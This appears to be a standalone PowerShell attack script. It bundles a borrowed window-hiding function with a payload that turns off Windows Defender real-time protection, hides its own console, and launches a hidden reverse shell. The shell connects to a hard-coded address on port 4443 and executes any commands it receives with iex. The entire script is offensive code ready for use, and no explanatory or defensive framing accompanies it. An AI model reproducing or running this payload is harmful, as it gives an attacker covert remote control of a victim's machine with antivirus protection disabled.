# Function from https://gist.github.com/lalibi/3762289efc5805f8cfcf (Hide Powershell Window) function Set-WindowState { <# .LINK https://gist.github.com/Nora-Ballard/11240204 #> [CmdletBinding(DefaultParameterSetName = 'InputObject')] param( [Parameter(Position = 0, Mandatory = $true, ValueFromPipeline = $true)] [Object[]] $InputObject, [Parameter(Position = 1)] [ValidateSet('FORCEMINIMIZE', 'HIDE', 'MAXIMIZE', 'MINIMIZE', 'RESTORE', 'SHOW', 'SHOWDEFAULT', 'SHOWMAXIMIZED', 'SHOWMINIMIZED', 'SHOWMINNOACTIVE', 'SHOWNA', 'SHOWNOACTIVATE', 'SHOWNORMAL')] [string] $State = 'SHOW', [switch] $SuppressErrors = $false, [switch] $SetForegroundWindow = $false ) Begin { $WindowStates = @{ 'FORCEMINIMIZE' = 11 'HIDE' = 0 'MAXIMIZE' = 3 'MINIMIZE' = 6 'RESTORE' = 9 'SHOW' = 5 'SHOWDEFAULT' = 10 'SHOWMAXIMIZED' = 3 'SHOWMINIMIZED' = 2 'SHOWMINNOACTIVE' = 7 'SHOWNA' = 8 'SHOWNOACTIVATE' = 4 'SHOWNORMAL' = 1 } $Win32ShowWindowAsync = Add-Type -MemberDefinition @' [DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd); '@ -Name "Win32ShowWindowAsync" -Namespace Win32Functions -PassThru if (!$global:MainWindowHandles) { $global:MainWindowHandles = @{ } } } Process { foreach ($process in $InputObject) { $handle = $process.MainWindowHandle if ($handle -eq 0 -and $global:MainWindowHandles.ContainsKey($process.Id)) { $handle = $global:MainWindowHandles[$process.Id] } if ($handle -eq 0) { if (-not $SuppressErrors) { Write-Error "Main Window handle is '0'" } continue } $global:MainWindowHandles[$process.Id] = $handle $Win32ShowWindowAsync::ShowWindowAsync($handle, $WindowStates[$State]) | Out-Null if ($SetForegroundWindow) { $Win32ShowWindowAsync::SetForegroundWindow($handle) | Out-Null } Write-Verbose ("Set Window State '{1} on '{0}'" -f $MainWindowHandle, $State) } } } Set-Alias -Name 'Set-WindowStyle' -Value 'Set-WindowState' # Disable real time protection Set-MpPreference -DisableRealtimeMonitoring $true # Minimize window Get-Process -ID $PID | Set-WindowState -State HIDE Start-Process $PSHOME\powershell.exe -ArgumentList {$client = New-Object System.Net.Sockets.TCPClient('192.168.178.84',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()} -WindowStyle Hidden